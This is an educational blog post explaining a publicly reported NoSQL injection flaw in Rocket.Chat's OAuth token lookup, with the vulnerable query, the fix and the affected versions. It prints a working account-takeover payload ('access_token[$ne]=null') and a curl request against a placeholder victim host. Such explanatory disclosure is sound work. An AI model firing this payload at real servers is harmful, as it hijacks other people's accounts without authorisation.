This vulnerability was discovered and reported by another security researcher. I'm just explaining it in simple words for educational purposes. Full credit goes to the original reporter [reports/3564655].

Ever seen a vulnerability so simple yet so scary?

This is one of them.

Imagine you're running Rocket.Chat — an open-source team chat app like Slack.

Now imagine someone from across the internet can log into your account just by adding a few weird characters to a URL.

No password. No email. No permission.

Sounds like a movie? Nah, it's real. And it's called NoSQL injection.

🧠 The TL;DR (Too Long; Didn't Read)

  • Bug type: NoSQL injection via access_token parameter
  • Impact: Unauthenticated account takeover
  • Attack vector: ?access_token[$ne]=null
  • One condition: At least one OAuth token must exist in the database
  • Affected versions: Pretty much all older Rocket.Chat versions before patches in late 2024 / early 2025

🔍 What Actually Happens Under the Hood

Rocket.Chat allows users to log in using OAuth (login with Google, GitHub, etc.).

When you do that, the app stores an OAuth token in MongoDB.

Normally, to fetch your token, the app does something like:

javascript

db.tokens.findOne({ access_token: "real_token_here" })

But here's the problem:

They didn't check if access_token is actually a string.

So when an attacker sends:

text

<https://target.com/login?access_token[$ne]=null>

The backend turns that into:

javascript

db.tokens.findOne({ access_token: { $ne: null } })

That means:

"Give me any token in the database where access_token is NOT null"

And MongoDB just… gives the first one it finds.

Poof. Now the attacker has someone's valid OAuth token.

🎯 Why This Is So Dangerous

  • ✅ No login required — completely unauthenticated
  • ✅ Works remotely — just a single HTTP GET request
  • ✅ Instant account takeover — you become another user
  • ✅ No logs suspicion — looks like a normal API call

The only tiny requirement:

At least one user must have ever logged in via OAuth.

In most real-world deployments? That's guaranteed.

🛠️ Example Attack in Action

Let's say Rocket.Chat is running at:

text

<https://chat.victim.com>

Attacker opens browser console or uses curl:

bash

curl "<https://chat.victim.com/api/v1/login?access_token[$ne]=null>"

Server responds with:

json

{
  "status": "success",
  "data": {
    "userId": "some_user_id",
    "authToken": "real_oauth_token_12345"
  }
}

Attacker then uses that token to make authenticated API calls or log into the web interface.

Game over.

🧹 How It Got Fixed

Rocket.Chat patched this by:

  1. Validating the type of access_token — it must be a string
  2. Rejecting any query that contains MongoDB operators like $ne, $gt, $regex, etc. in auth-related parameters

Example fix (simplified):

javascript

if (typeof accessToken !== 'string') {
  throw new Error('Invalid token format');
}

🧯 Who Should Care?

  • Self-hosted Rocket.Chat admins (especially if still on older versions)
  • Pentesters looking for NoSQL injection
  • Bug bounty hunters — this pattern exists in many Node.js + MongoDB apps

✅ Final Casual Advice

If you're running Rocket.Chat:

bash

# Check your version
# Upgrade immediately if below:
8.0.3, 8.1.2, 8.2.1, 8.3.0, 7.13.5, 7.12.6, 7.11.6, 7.10.9

If you're a dev:

Never trust user input. Especially ?access_token[$ne]=null — that's not a token, that's a cry for help.

Stay safe, sanitize your inputs, and don't let MongoDB operators play as access tokens. ✌️